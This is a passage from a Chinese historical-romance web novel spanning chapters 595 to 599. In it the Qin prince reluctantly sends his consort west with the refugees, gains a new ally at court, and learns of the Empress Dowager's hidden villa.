“殿下……殿下……你听我说……” 无论衣上云再怎么挽留,他都再也没有回头看她一眼,兀自下了楼。 很快,便彻底消失在云水阁门外的一片沉沉夜色之中。 衣上云从未见过轩辕翰如此情绪失控,竟然朝自己发这般大的火,遂怔在原地里一瞬,脑子里一片空白,待忽回过神,便紧忙一边朝楼下追出去,一边呼喊着:“殿下” “殿下,你回来” “殿下,快回来” “这跟母妃没有任何关系,都是云儿的主意,母妃她只是见云儿西行的去意已决,想要帮助云儿而已。” “殿下,你不要去。” “夜已经深了,你不要再去打扰母妃。” “殿……” 就在其快要紧紧追到紫和轩的时候,忽然一只脚没有踩稳,便被硬生生的绊倒在地。 只闻“扑通”一声。 紧接着,便传出她似是吃痛极了所发出的一声沉重的叫声:“啊!” 可即便如此,她倒地后还在试图能唤回轩辕翰的脚步:“殿下……殿下……” 闻声,轩辕翰终于停下了气势汹汹的脚步,无奈地回头朝其走了过去,蹲身询问道:“你怎么了?” 衣上云见其终于止步住,于是佯装可怜兮兮地道:“方才在后面追殿下追得太急,一不小心可能将脚崴伤了。” 轩辕翰斜了他一眼,可还是伸手过去替其仔细地查看了一下伤势。 但因为夜里周围的灯火比较昏暗,于是便一把将其横抱了起来。 一边迈步,一边心里暗暗地道:“这个女人,每每抱在怀里明明都是这般地轻轻柔柔。轻如鸿毛,柔若无骨,然其心里却大至若海一般,可装得这天下苍生,守护世间万物。许是,没有人能挡住她的决定……” 回忆着与其一路来的过往,一会儿便将她抱回到了林月轩自己的寝殿里。 再次帮其在明亮的烛火下,颇为仔细认真地查看了一番脚踝,起身来道:“本王已经看过了,伤势并不严重,你先在这里歇一会儿,本王去去就回。” 衣上云以为他仍不放弃,又要独自去找纯太妃理论,在他转身之际,便着急的伸手一把拽住了他的手臂,对其摇了摇头。 轩辕翰转身,看着她即便都已经受伤了,却还是对自己满眼乞求的眼神,彻底被其打败。 于是开口说道:“你放心,本王不是要去找母妃。你的伤虽说不怎么严重,但是也要涂些药膏才好,如此,方才不会影响你明日的远行,本王去拿自己极好用的金创药来给你。” 闻声,听到轩辕翰终于不生气了,竟还同意了自己西行的事情,衣上云心里瞬间朝其感激极了,于是真心地致谢道:“殿下……谢谢你!” 而轩辕翰却隐忍着心间最极具的痛楚,转身默默地走了出去。 只不过是极轻微的一点儿伤而已,却只有在亲自悉心地替其上好了药,方才安心了下来:“好了,晚上好好睡一觉,明日早上醒来便应该就没事了,本王这就让燕儿带你回云水阁去歇息。” 说完,轩辕翰便要起身去殿外唤燕儿进来,不想却被衣上云一把拽住,拒绝道:“殿下,不要。” 轩辕翰立身朝其回头,顿时有些纳闷:“不要……什么不要……” 话刚出口,显然便就已经后悔了。衣上云顿时红了脸,垂首下去满脸羞涩地道:“今晚,云儿不想宿在云水阁了。” 轩辕翰这才反应了过来,遂朝其身边再次回坐了回去,眼里升起一抹异样的眼神道:“那在林月轩里,你就不怕本王情难自禁,又同昨夜那般待你……” “殿下……”一想起俩人昨夜的激情,衣上云难为情极了地阻止他道。 “咚咚咚” 就在这时,忽然响起一阵叩门声来。 轩辕翰踱步过去一看,有些惊诧地对来人道:“张嬷嬷,这么晚了,你怎么还没歇下?” 门外的张嬷嬷笑着道:“太妃娘娘命老奴给王妃娘娘送来一碗补身子的药汤,请娘娘务必服下。” 轩辕翰一边将其接过,一边道:“好了,给本王即可,你快下去歇着吧!” “是……殿下与王妃也要早些歇着才好!”张嬷嬷最后叮嘱了一句,便退了出去。 衣上云见轩辕翰捧着一碗汤回来,便问:“这是……” 轩辕翰道:“这是母妃让张嬷嬷亲自送来的,说是给你补身子的。” 衣上云一想便知是白天在紫和轩里纯太妃所叮嘱的那些事情,便忽地再次脸红了起来。 “既是母妃的心意,云儿自是不能辜负。”说着,便将碗里的药汤接过灌下。 轩辕翰看着她脸上此时极其好看的颜色,顿时着迷了起来。 气氛显然已有些不对,可又该如何应对? 正在思量,忽然,衣上云似是嗅到了一种熟悉的味道:“是什么?一股好熟悉的味道!” 于是,便起身朝其寻了去。 终于,在殿内茶几上看到了极熟悉的一包茶叶,于是指着它对轩辕翰说:“果然是殿下让丁香送来的茉莉花茶,对不府?” 轩辕翰起身过去,笑了笑,道:“你又是怎么知道这恒州的极品茉莉花茶是本王让丁香送去给你的,而不是易三少呢?” 衣上云想了一瞬,道:“哼……易三少才没有殿下这般小气,若是他想送的,他才不会假手于人,定会亲自大摇大摆地来送。” “王妃……这是在小瞧本王吗?看本王不好好教训教训你。” 说着,轩辕翰便上前去紧紧从其身后揽腰抱住了她。 贴在她的耳边轻咬了咬,温柔地道:“和离这种话,以后莫要再随便说出口了,你可知,轮回之中,本王等你转身,已经等了好久,好久。” 深夜,一轮满月高高悬于夜空之中。 此情此景,情人间的甜言蜜语,最是让人沦陷。 不知不觉间,衣上云竟不知自己是何时又如何被轩辕翰带到了榻边的。 直到自己被扑倒,那个人就这样朝自己欺身过来,压在自己的身上。 她方才回过神来,满脸通红地道:“那今晚,殿下能不能让云儿好好休息一下……” 直到她支支吾吾地说完这句话的时候,早已羞红了脸颊。 可轩辕翰又怎会如此轻易便就放过她。 “当然!今夜的惩罚,本王就看着轻一点儿吧。务必定会全力以赴,让王妃好好休息休息……” 说着,便伸手一把撒开了床头的幔帐,继而扯了身旁的被子将两人俱都包裹了起来。 殿内烛火摇曳,俨然看来定又是一番激烈的云雨之势了。 第五百九十六章:启程 果然,几经翻云覆雨之后,俩人终于沉沉地睡了过去。 夜里醒来,衣上云见自己全然赤裸裸地缱绻依偎在轩辕翰温暖的怀里,想起方才他对自己是那般的温柔,顿时直觉脸上发烫,定是早已羞红了脸。 生怕惊醒了枕边人,再次引火烧身,于是悄悄往锦被里缩了缩。 继而目光灼灼地看向身旁轩辕翰沉静的睡脸,他高挺的鼻梁,浓密的眉毛。 渐渐地,竟有些痴了。 忍不住,缓缓伸出手去认真温柔极了地轻抚他的脸庞、眉毛、鼻梁、他的每一处细节,似是想要将他这一刻的模样刻在心里一般。 最后紧紧贴在他的心口处,秀眉蹙起,不舍地道:“尚未与殿下分开,便就已开始想念。殿下是如此完美,云儿此生何其有幸能成为殿下的女人。拥有殿下给予的美好回忆,此行即便是死,云儿也再无遗憾了!” 眼看着距离轩辕翰早起上朝的时间就快要到了,她又怎忍心面对与他当面道别,似是今生最后的生离死别一般。 而自己也早已与延福寺里的灾民们约定好了动身的时辰,亦是快要到了。 于是,隐忍着心头极度的不舍,在轩辕翰的额头上留下深深的一吻后,终于将心一横,起了身来。 怎料刚走出林月轩的门,便见燕儿不知何时早已守在了门口,怀里还揣着一个包袱,席地靠身在门口的柱子上坐着。 一见衣上云出来,便紧忙起身朝其迎了上去,一副可怜巴巴惹人怜的模样,朝自己哀求道:“小姐,无论你要去哪里,这次请都将燕儿带着一起走吧,不要丢下燕儿一个人在王府里,求求你了!” 衣上云震惊地看着她的眼睛,道:“傻燕儿,你在说什么呢?这次我可不是出去游山玩水的。此次西行,路途遥远且凶险无比,就连我自己都不确定那里的真实情况,更不知道自己还能不能活着回来,若是再带上你,你若是再有个什么好歹,你可让我怎么活呢?我心里,会更加难受的。你且安心呆在王府里,张嬷嬷会照顾你的。” 燕儿一边哭,一边摇着头拒绝道:“不,燕儿不要留在这里。燕儿会照顾好自己,绝不给小姐添麻烦。燕儿是真的离不开小姐,这次就算是死,燕儿也要陪在小姐身边。如果小姐不带着燕儿,燕儿即便就是自己一边问路,也一定会寻着小姐去的。” 衣上云一听,无奈极了地道:“燕儿……你这又是何必呢?” 燕儿却只泣不成声地道:“燕儿不……不能没有小姐,不……不能没有小姐……” 脚步声声慢,心头依依别。 月下推门,主仆俩就这样一道走出了秦王府大门。 衣上云最后驻足停留了片刻,凝视着那始终如一庄严肃穆的“秦王府”匾额,在道了声:“走吧!”之后,便带着燕儿就此踏上了远行的路途。 延福寺里。 临行之际,一直迟迟看不到衣上云如约归来的灾民们早已是急不可耐地议论纷纷。 “王妃娘娘终究还是抛弃了我们。” “王妃的身份何其尊贵,又怎么可能跟我们回去受那种罪呢!” “可王妃娘娘,她并不像是不守信之人。或许是真被什么事情给耽误了,我们就再等她一会儿吧。” “秦王殿下那般疼惜这个王妃,前段时间王妃住在这里的时候,每次只要一出门,秦王殿下都会亲自在其身后悄悄跟着,再悄悄护送她回来,想来定是不舍得她受这份苦的。” “可如果没有王妃娘娘的帮助,我们就这样回去,还能重建起我们的家园吗?会不会是又一次的重蹈覆辙?如果再这样下去,怕是我们的族人,很快便就都会从这个世界上消失了。” “可如果不回去,我们就此永生永世漂流在外面,如同无根之浮萍一样,心中再也没了寄托,这与全族消失又有什么两样?叶落尚且还知道归根,更何况我们人呢?” “我们不要漂泊在外,我们要重建家园,我们要回家,我们要回家,我们要回家……” 顿时间,灾民们相继回应,热血沸腾的齐声高呼了起来。 就在这时,身后忽然传来一阵“吱吱”的开门声。 众人纷纷立刻收声,朝其回头看了去,只见寺里的大门竟被人正从外面缓缓推开。 借着手里的火把照耀过去,大家一时间里似是被那门外的来人惊呆了。 人群里,有一妇人仔细端详了一阵,弱弱地道:“是王妃娘娘!” 闻声,大家便忽的一下一齐朝其涌了上去。 “王妃娘娘,真的是王妃娘娘。” “王妃娘娘没有抛弃我们,没有抛弃我们。” “我就说嘛,王妃娘娘是个守信之人,她一定是有什么事给耽误了。” “有救了,有救了,我们的家园有救了!” 心里一激动,众人竟不约而同地一起合力将衣上云抬了起来,高高抛起,再高高抛起。 一时间,面对如此热情激动的人们,衣上云直觉自己吓的险些心都快要跳出来了。 “放下,赶快放下,莫要这般惊吓我家小姐!” 即便燕儿发出一次次如此恳求的声音,也俱都一起被淹没在人群高涨的欢呼之中。 西行之路,因崇山峻岭,多崎岖颠簸,马车定是走不了的,衣上云便只能同大家一起骑马而行。 寺里早已为灾民们备足了回家的干粮。只等卯时一到,便正式启程。 伴随着衣上云发出最后一声号令:“启程回家!” 数百人便就此浩浩荡荡地一起踏上了归家的路。 当一行人行至西城门口正打算出城时,前方忽然隐隐约约地显出一队人马拦在路边。 众人心里不禁怯怯起来,难道是来阻拦他们归途的。 就在这时,燕儿眼尖地看清了那个最前面骑在高头大马上的人,惊诧不已地道:“小姐,那人,看着怎么好像是秦王殿下!” “什么?”衣上云听了大惊。 就在这时,轩辕翰已翻身下马朝其踱步走了过来。 衣上云亦着急地下马,吃惊地看着那张熟悉的不能再熟悉的棱角分明的脸,道:“殿下,这会儿应是早朝的时辰,你怎么来了?” 其实,轩辕翰这一夜里根本一刻都没有睡着,他又怎能睡得着? 于是只伸手过去缓缓拉起衣上云的一只手,郑重其事地将一本册子放在她的手里,道:“这本《治沙摘要》,本王已经帮你都修改整理好了。” 见到再次失而复得的《治沙摘要》,衣上云紧忙翻开将其一看,里面竟真的密密麻麻被修改了众多处记载,于是有些不明所以地看着他的眼睛,问:“殿下是何时修改的?是不是一夜未眠?” 轩辕翰幽幽道:“西北地区的风沙风暴,亦是本王这些年以来颇为忧心的事情。若不是连年征战以及诸多琐事无暇顾及,本王其实早就想亲自前去治理。无奈,这些年,本王只能命人将父皇之前的这本册子里的记录,俱都先去实地进行了一番仔细的勘察,发现里面其实有许多需要订正之处,本王亦都已经一一帮你订正好了。” “殿下……”闻此,衣上云感动地都不知该说些什么了。 然纵使他千言万语,也挡不住她西行的脚步,只能不断地叮嘱她:“此去西北定是凶险万分,风沙无情,你务必小心谨慎,时刻都打起十二分的精神来,一刻都不得马虎大意。待本王这边的事情完成后,便立马去亲自接你。记住,千万不要逞强好胜,定要将爱惜自己放在首位!” 轩辕翰对自己竟如此地用心良苦,衣上云刹那间内疚自责不已,上前紧紧拥抱住他的腰身,贴在他的胸口处,眼里泛起点点泪花,柔柔地道:“殿下,对不起……” 这一声,轩辕翰直觉自己的心都快要碎了。 亦心疼地用力紧搂住她的肩头,将她整个入怀,命令道:“本王不要听你的对不起,本王只要你时时刻刻记得关心自己,一定要护好自己,等本王去接你。” 衣上云亦是更加舍不得离开他,往他怀里更深处蹭了蹭,将其更加拥紧了一些,答应着:“嗯……云儿一定会护好自己,等殿下来接云儿回家。” 送卿千里,终须一别。 俩人如此难舍难分的这一幕,令所有旁观者俱都纷纷泪目。 轩辕翰亲自将衣上云抱上了马背,替她再次仔细地检查了一番马镫,将她的脚固定好。 尝试了很多次,确定不会出什么意外,却仍然还似牢牢拽着不肯松手。 衣上云见了,安慰提醒他道:“殿下放心,如今我已学会骑马了!” 轩辕翰沉声道:“本王知道。” 见他低着头应着自己,却还不肯松手,便又开口说:“殿下,马镫已经固定的很好,不会脱掉的。” 轩辕翰依旧应着:“本王知道。” 看着周围的人都已经等了自己很久,于是再次提醒他:“殿下……我们该启程了。” 在其再三催促下,终于,轩辕翰最后咬了咬牙,将心一横撒开了手。 继而扬声命令身后带来的一队人马:“你们都给本王听好了,此次你们所护卫不是王妃,而是本王的命,务必誓死守护王妃娘娘!” 众将士齐声领命:“属下领命,一定誓死保护好王妃娘娘。” “殿下……”见此,衣上云眼眶里早已噙满的泪水瞬间夺眶而出。 就在这时,轩辕翰隐忍着心头对其莫大的不舍,乘其不备,用力拍了马儿一掌,马儿便驾着自己生命中最重要的人稳稳离开。 第五百九十七章:又添一员猛将 直到亲眼目送着载着衣上云的马匹走的越来越远,其队伍最后彻底从眼前消失不见。 轩辕翰却依旧对其不放心极了,痴痴地久久站在城楼上,望着其离开的方向,一动也不动。 往前走,尽是一片无尽的荒烟孤城,萧索枯木,风沙漫天,这让他如何舍得,又如何放心? 此刻,他心里竟贪婪地期待着,她能够如同上次一样,明明已经决绝离开,却又忽然回头,回来自己的身边。 于是,他静静地等着,等她一个转身。 就连其周围的空气也仿佛都静止了一般,任由时间就这样一分一秒地过去。 程良见眼下时辰已然不早了,无奈之下,不得不开口提醒他道:“殿下,王妃娘娘已经带着灾民们走远了,殿下也是时候该赶回去早朝了,否则怕是就来不及了。” 怎料其却只沉浸在自己的世界里,对他的话一点儿都无动于衷。 见此,程良接着又继续宽慰道:“这些将士,每一个都是殿下亲自为王妃娘娘悉心挑选的得力干将,他们一定能保护好娘娘。况且,还有陪伴殿下多年征战所用的沙地宝马相伴,相信王妃娘娘吉人天相,此行定不会有事的!” 轩辕翰依旧一动不动地注视着前方。 程良想了想,他又怎会不知这个主子此时心中的期待,可偏偏当局者迷,旁观者清,他又怎会不知衣上云此次的决心。 如若不是为了留在都城里尽快寻找出龙恩的藏身之处,他的主子又岂会坐视不管,任衣上云独自涉险西行。 思及此,程良咬了咬牙,灵光一闪,忽然似是想到了什么,于是说道:“殿下,皇后娘娘平日里与太后走的最近,会不会,皇后娘娘会知道一些关于寿伯主仆的去向呢?” 闻此,轩辕翰总算是终于回过了神来,深吸了口气,一边转身一边沉声命令道:“进宫!” “是。”看到主子终于开口说话,程良也终于长长地松了口气。 于是,主仆俩人一前一后,急急下了城楼来,翻身上马,策马扬鞭,朝皇宫的方向疾驰而去。 城西,一早茶铺里。 几名男子一进门便聚在一起,开始嘀嘀咕咕你一句,我一句地议论着什么。 “我说你们都听说了没有?” “听说什么啊?” “这可真是个奇迹呢!” “你就不要卖关子了,赶快说,赶快说。” “前阵子,西北觻县遭遇了几百年来都颇为罕见的一场沙暴灾难,觻县几乎整个儿被夷为平地,最后只有数百人逃了出来。” “本以为,就算是逃了出来,可要一路来到都城,这山高水远,听说有些人半路还得了瘟疫,想着即便到了都城不死也快了。谁料,竟被人给救活了,而且但凡是从沙暴里逃生来的,一一全都活了下来,你说是不是奇迹?!” “到底是谁有这么大的本事,救了这么多人?” “就是距离这里不远处的那座延福寺,灾民们都是在那里得救的。” “不仅如此,听说灾民在延福寺里被治愈后,衣府大小姐亲自带着他们又回觻县去了,说是要帮他们重建家园。” “衣府大小姐?她一个弱女子,怎有这般能耐?” “这你们就不知道了吧!说起那个衣府大小姐,她可是更神呢!” “你们难道忘了那年,衣府这位大小姐是怎么醒来的了吗?当时这件事,可是闹得全城都沸沸扬扬的。” “你是说多年前,那个大雨滂沱的夜晚,夜空中出现在衣府大小姐阁楼上空的那道……七彩凤凰虚影……” “你们说……她会不会就是遗失多年的守护者呢?” “遗失的守护者?” …… 而这几位男子所正在讨论并且妄加揣测的话题,却深深吸引了居住在附近出来喝早茶的寿伯与龙恩二人。 “凤凰虚影……衣府大小姐……遗失的守护者……”听到最后,龙恩默默地重复了一遍,嘴里喃喃地道,像是陷入了某种沉思之中。 寿伯见龙恩似是若有所思着,便问:“公子,可是公子也听说过关于衣府大小姐的事?” 龙恩回过神来应道:“好像听人说过,但一时半会儿又记不起到底曾几何时在何处,听何人说过?” 遂想了一瞬,他忽地起身来。 寿伯见此,不解地问:“公子这是要……” 龙恩竟冷不防地道:“立刻启程,去觻县!” “去……觻县……”寿伯一听,顿时纳闷极了。 可一想到他们至今都尚还未找到要找的人,寿伯忙道:“可我们还未跟太后娘娘禀报,如此便就擅自离开,到时候太后娘娘若是怪罪下来,那该如何是好?”” “这都有月余了,该找的地方我们都已经找遍了,可寻找守护者后人丝毫没有进展。怕只怕,或许守护者此时已并不在这里,如此,我们再在这里耗下去又有何意义?”龙恩似是有些肯定地道。 可即便如此,寿伯心中仍有几份顾虑:“公子的话也不是没有道理,可太后娘娘那边,咱们始终都得先去打个招呼。” 龙恩想了想,说:“事不宜迟,为防止夜长梦多,我需得尽快赶至觻县,那就有劳您进宫亲自向太后说明一切情况。” 寿伯也认为如此俩头分开行事是最好不过的方法,便嘱咐龙恩:“如此也好,只不过觻县刚受过一场大灾,此时去定是危险重重,公子一路上务必十分小心谨慎才是。” “我会小心注意的。”龙恩说着,便起身来朝其道别:“告辞!” 之后,便紧忙提步出门亦踏上了西去的路途。 早朝刚一结束。 轩辕翰正有些苦恼,一边走一边想着自己该以什么样的理由去见皇后。 正当走到一处相对隐蔽的地方,怎料兵部侍郎竟亦下朝后并未离开,却忽然出现在了他的面前,对其毕恭毕敬地弯腰行礼,道:“微臣参见秦王殿下。” 轩辕翰心底是有几分惊讶的,然依旧一副不怒自威的姿态,可一见他,心里便不由的顿时想起衣上云身上所受的伤来,难免有些怒火在心,可他既然已经答应了衣上云不再与其计较,便又不得不隐忍着道:“是你,你找本王有何事?” 兵部侍郎竟冷不丁忽地朝其跪了下来,道:“微臣罪该万死,只因微臣的发妻死的早,微臣没有从小教养好自己的女儿,致使她长大后越来越无法无天,竟还不小心伤到了王妃娘娘。幸得王妃娘娘宽宏大量不予已计较,否则,怕是小女早就性命难保了。” 兵部侍郎怎么都没有想到,自己一直以来对璟帝都是那样的忠心耿耿,然当他的宝贝女儿只因失手不小心才伤了衣上云的时候,璟帝竟然如此决绝,甚至连眼睛都不曾眨一下,便让轩辕翰将其女带回府里任由处置。 幸亏衣上云极力出手拦住,否则怕是被兵部侍郎放在心尖尖上的宝贝明珠就此便要殒命了! 这件事,尽管现在想来,他依旧还是后怕地要命。 轩辕翰道:“你家那小女娘,在御药房里胆敢拉帮结派,只手遮天,开口闭口皆是满嘴的污言秽语,蛮横无理,又妒心颇重,侍郎还是真的应该好好找个人来教一教,否则日后,看这都城里哪家门户敢娶她!” 兵部侍郎对此连连点头同意道:“秦王殿下说的是,殿下说的是,这都怪微臣,都是微尘的错。从小一直惯着她,着实把她给惯坏了。这些日子,微臣还想着,日后若是有幸能让王妃多教育教育她,微臣将感激不尽。微臣一直本想亲自带着小女登门道谢的,可后来听说王妃娘娘很长一段时间都不在府中,便就没能去成。不知王妃娘娘如今可回府了没有?” 轩辕翰想着衣上云与璟帝背道而驰,关于她西行的事情,自是不便外人知晓,于是便推辞道:“本王王妃她……王妃一直都在府中,只是王妃喜静,不愿见客罢了。” 兵部侍郎思量着:“王妃喜静……如此,那微臣便不去再打扰王妃了。” 说着,他看了看四周,见并无他人,忽从身上掏出一封密信来,朝轩辕翰递了过去:“这个是微臣的一点儿心意,还请秦王殿下与王妃娘娘笑纳!” “这是……”轩辕翰纳闷地将其接过。 兵部侍郎叮嘱道:“此信还望待微臣离开后,殿下再亲启。” 轩辕翰想了想,答应道:“如此,本王知道了!” 这时,兵部侍郎起身朝其道别:“微臣还有公务在身,就先行一步了。” “请便!”轩辕翰道。 兵部侍郎于是便匆匆离去。 这时,程良迈步朝其近身过来,不明所以地问:“这兵部侍郎从不主动接近殿下,不知今日葫芦里究竟卖的什么药?” 轩辕翰望着其身影已然彻底消失在他的视线里,方才小心翼翼地将密信打了开来。 可里面的内容,却是着实让他吃惊不已,那白纸黑字上写着:“微臣愿从此一生追随秦王殿下,此生唯秦王殿下马首是瞻。” 身边的程良一见,顿朝其祝贺道:“恭喜殿下,又添一员猛将!” “可这一切,明明都是她的功劳!” 顿时间,轩辕翰的心里更加想念衣上云了。 第五百九十八章:东华宫里的意外收获 正当其复又陷入在对衣上云的沉沉思念中时,一名婢女步履匆匆地走了过来。 朝其恭敬地屈膝行礼后,道:“参见秦王殿下,奴婢是东华宫的婢女紫嫣,太子殿下让奴婢过来请殿下移步东华宫里一叙。” 闻声,轩辕翰这才恍然回过神来。 看似这婢女有些难言之隐,于是便随同其先一道往东华宫方向去看个究竟。 东华宫里。 太子轩辕昊正在屏气凝神着练字,可却总似一副心烦气躁的样子,怎么都静不下心来。 这不,对于自己刚刚写成的一篇字还是不怎么满意,于是便愤怒地一把将其从案上扯了过来,再次用力揉做一团,复又狠狠地砸到了地上。 书案前的地板上,此时显然已经丢了不止一堆又一堆了。 这一幕,恰好被刚赶到的轩辕翰看到。 他疑惑地问婢女紫嫣:“太子这是怎么了?” 紫嫣心疼地道:“昨儿皇上将太子叫去问功课,不知道说了些什么,打从一回宫,太子便一直在那里埋头写字,像是着了什么魔似的,不眠不休,亦不吃不喝。谁劝都没有用,他硬是一句话都不说。奴婢这也是实在没了法子,怕太子憋坏了,才斗胆自作主张,在退朝后去请秦王殿下过来看看太子,以前太子不开心的时候,还可同公主说说,可如今公主远嫁东宁,太子便……” 自从轩辕玥远嫁东宁后,轩辕昊在宫里便更加孤独了,紫嫣越想越替其担心难过:“太子打小最是听秦王殿下的话,希望殿下能开导太子一二。” 闻此,轩辕翰心里似是已明白了一些,于是便吩咐紫嫣道:“本王知道了,你退下吧!” “奴婢替太子谢过秦王殿下!” 紫嫣向其颇为感激地致谢后,便缓缓退了下去。 这时,轩辕翰深吸了口气,缓步走向前去,单手附后着俯身弯腰捡拾起被丢在地上的一个纸团,打开一看,上面写的是“君臣之道,恩义为报。” 复又拾起另一个打开,写的还是“君臣之道,恩义为报。” 再拾起一个来打开,依旧是“君臣之道,恩义为报。” …… 显然,看来璟帝给轩辕昊所出的题,定是与君臣有关了。 于是,轩辕翰便扬声开口赞叹道:“好一个君臣之道,恩义为报。看来,太子如今是越发用功了,竟已能吾到如此境地,实属不易!” 闻声,轩辕昊猛地抬起头来,瞬间打起精神,吃惊地道:“秦皇叔,您怎么来了?何时来的?皇婶呢?皇婶有没有与你一同入宫?” 说着,便急忙放下手里的笔,一边从书案前走出来,一边继续道:“昊儿都已经快记不清到底有多久没看到皇叔和皇婶了?” 轩辕翰尚还未来得及说只字片语,轩辕昊便再次着急地朝其询问道:“对了,前些日子,就是秦皇叔大婚的第二日,听说皇婶亦一起入宫了,可昊儿都还没来得及见她,便听人说她在御药房里被人不小心给刺到了。怎么会这样的?皇婶她没事吧,身上的伤,现在可都已经好了?” 轩辕翰有些无奈地道:“你一下子问这么多问题,让本王如何回答你?本王看你最关心的便是你皇婶吧!” 轩辕昊一脸骄傲地道:“那当然了,皇婶可是昊儿最佩服的人了!” 这时,轩辕翰方才严肃地问道:“到底发生了什么?为何如此待自己?” 轩辕昊亦顿时卸去了脸上的笑容,一边陪着轩辕翰落坐下,一边回忆着昨日的情景道:“昨日父皇让昊儿论及君臣之道。昊儿便想起了孟子曾告齐宣王曰……君之视臣如手足,则臣视君如腹心;君之视臣如犬马,则臣视君如国人;君之视臣如土芥,则臣视君如寇仇。” 轩辕翰点了点头。 轩辕昊继续说:“然王问……礼,为旧君有服。何如斯可为服矣?孟子则答曰:“谏行言听,膏泽下于民;有故而去,则君使人导之出疆,又先于其所往;去三年不反,然后收其田里。此之谓三有礼焉。如此,则为之服矣。今也为臣,谏则不行,言则不听,膏泽不下于民;有故而去,则君搏执之,又极之于其所往;去之日,遂收其田里。此之谓寇仇。寇仇,何服之有?” 轩辕翰听了,亦是同意他所说,于是便赞叹他道:“不错嘛,你答的很好!” 轩辕昊却嘟着嘴说:“可父皇却说,君为强,臣为弱,臣子本就该对君王唯命是从。君说对是对,错亦是对,容不得有半分质疑。闻此,昊儿竟忽然不知,父皇究竟算不算得上是一位好君王?” 轩辕翰又怎会不知璟帝行事一向独权专政,可面对尚还是一个孩子的轩辕昊,他只意味深长地道:“纵观历朝历代,每位君王皆各有各的治国之策,用人之术。一个君王的好坏,到底该如何评价,更是众说纷纭。然皇叔觉得,君仁莫不仁,君义莫不义。凡事只要做好自身,问心无愧便好!” “君仁莫不仁,君义莫不义”轩辕昊默默地重复了一句。 似是忽然间茅塞顿开,遂振奋起精神来:“秦皇叔说的对,昊儿明白了。” 却又顿浮起一抹忧虑,幽幽地说:“秦皇叔,其实……昊儿打小便经常会想,若是这偌大的西秦国由秦皇叔来治理,百姓们的生活,会不会比现在好千倍万倍……” 闻此,轩辕翰沉默着不再说话。 然轩辕昊却顿了顿,兀自继续说道:“秦皇叔,若是真有那一日,还请秦皇叔千万不要犹豫。因为,没有人比秦皇叔更加热爱这片土地,秦皇叔是在以自己的性命护着这一国百姓呢!” 至此,轩辕翰终于吃惊地看向轩辕昊的脸。 而轩辕昊却又忽然将脸转了过去,避开他的眼神,继而扬起笑脸来转移了话题。 他忽然云淡风轻地笑着道:“秦皇叔,昊儿是真心宁愿一生漂泊游历在外,也不愿被关在这座深宫里。打从跟随太傅游历归来至今,几乎一直在这宫里无所事事地呆着,如今已然快要闷死了。” 说着,忽然想起了一件事来,于是便道:“不如,我想去皇叔府上探望皇婶,记得皇婶有一只十分奇特的镯子,昊儿还想再去看看,不知秦皇叔意下如何?” 轩辕翰犹豫着道:“你皇婶……她……她近来身子有些不适,待过段时日皇叔再带你去看她。” 轩辕昊一听,忙着急地道:“什么……皇婶又病了?可是之前身上还未好利索?需不需要太医去秦王府好好替皇婶看看?” 轩辕翰解释道:“只是一些轻微的不适,乐太医已经亲自瞧过了,不打紧的。” 轩辕昊想了想,无奈只能先放弃了:“既然如此……那好吧!” 霎时,一缕风拂过,吹动了殿内水缸里的几朵睡莲。 遂灵机一动,轩辕昊又提议说:“不然,皇叔就带昊儿去太后的西山别院附近赏花如何?昊儿知道那里有碧波荡漾、荷香十里的唯美盛景。眼下天气越来越炎热了,但那里草木荫浓,想必满眼荷花定能让人感觉清凉不少,可若再不去,怕是就要又等来年了。其实,只要不是再枯燥乏味地呆在宫里,去哪儿干什么都行?” 此话一出,轩辕翰竟忽然愣住,若有所思地口中痴痴,喃喃低语着道:“西山别院……十里荷香……” 对此,轩辕翰瞬间颇为吃惊:“你是说……太后在西山有座别院?” 轩辕昊点了点头,说:“昊儿也是曾经无意中听太后说过一嘴,说那里的荷塘月色,甚是醉人。” “莫非那便是寿伯主仆的藏身之所?” 一念至此,轩辕翰紧忙追问:“你可知那座别院的位置?” 轩辕昊想了想,最后摇了摇头,但说:“如此人间美景,想必亦是好找寻的。” 就在这时,皇后从外面走了进来,闻声便训斥轩辕昊道:“太子莫要胡闹,你父皇留给你的功课可都已经完成了?身为当朝太子,怎的整日里就只想着跑出宫去玩?” 轩辕翰见其跨步进来,猛地回神道:“皇嫂!” 皇后亦朝其点头示意道:“原来秦皇叔也在东华宫呀。如此正好,皇叔赶快帮本宫好好教训教训太子,整日里就知道玩儿,正经事儿一件都不曾放在心上。昨日刚惹得陛下生气,这会儿便又变着法想溜出宫去了。” 轩辕翰维护轩辕昊道:“太子毕竟还只是个孩子,爱玩是孩子的天性,皇嫂又何必将他逼的太紧?” 皇后坐下来,幽幽道:“逼他?其实,皇叔有所不知,自从玥儿远嫁东宁后,本宫便只希望昊儿能开心快乐过此一生,可惜……” 欲言又止,皇后只叹息道:“这世间,有哪个母亲不想自己的孩子一生只平安,快乐。可这说起来容易,做起来哪有那么轻松。” 说着,便也作罢,转而问候起衣上云来:“唉,不说了,对了,近日秦王妃怎么样了?上次在御药房遇刺,可真是让人担心,如今身子可都已经好了?” 轩辕翰道:“多谢皇嫂关心,王妃已无大碍。” 皇后点了点头,道:“没想到,这兵部侍郎家的女娘,竟是如此狠毒之人。” 这时,轩辕翰忽然起身来…… 第五百九十九章:永安宫受惊 未及皇后将话说完,轩辕翰忽然起身来告辞:“皇嫂,臣弟忽然想起来还有要事在身,便就先行回府了。” 皇后亦立起身相送,紧忙道:“既然皇叔有要事处理,便就赶快去办吧!太子这边,本宫会处理。” “是。” 轩辕翰说着,便转身着急地离去。 一直在殿外等候着的程良远远地一看到主子走出大殿,便紧忙上前去关切地问:“殿下,太子没事吧?” 轩辕翰并未回答他的疑问,兀自只问其道:“你可知,西山有片十里荷塘?” “西山……十里荷塘?”程良挠了挠头,在脑子里搜索了半晌,终是对其没什么映像。 轩辕翰便立刻命令道:“立刻派人去找。” 程良疑惑地问:“殿下找荷塘做什么?” 轩辕翰沉声说:“那片十里荷塘附近,有处太后的隐蔽别院。” 闻此,程良瞬间明白了过来:“殿下的意思是……太后将寿伯主仆俩藏在了那座别院里?” 就在俩人说话间,便已翻身上了马。 伴随着“驾”地一声,霎时间一阵马蹄声响起,主仆俩飞快地朝城西方向疾驰而去。 而在东华宫里,目送着轩辕翰匆匆离去的皇后母子俩一道立在门口。 轩辕昊眼巴巴地望着其早已消失的门口,问身边沉默不语的皇后:“母后,你说秦皇叔能找到太后的别院吗?” 皇后将手附在轩辕昊的肩头,若有所思地道:“母后也不知,但我们也只能帮他到这里了,剩下的一切,就都看天意吧!” 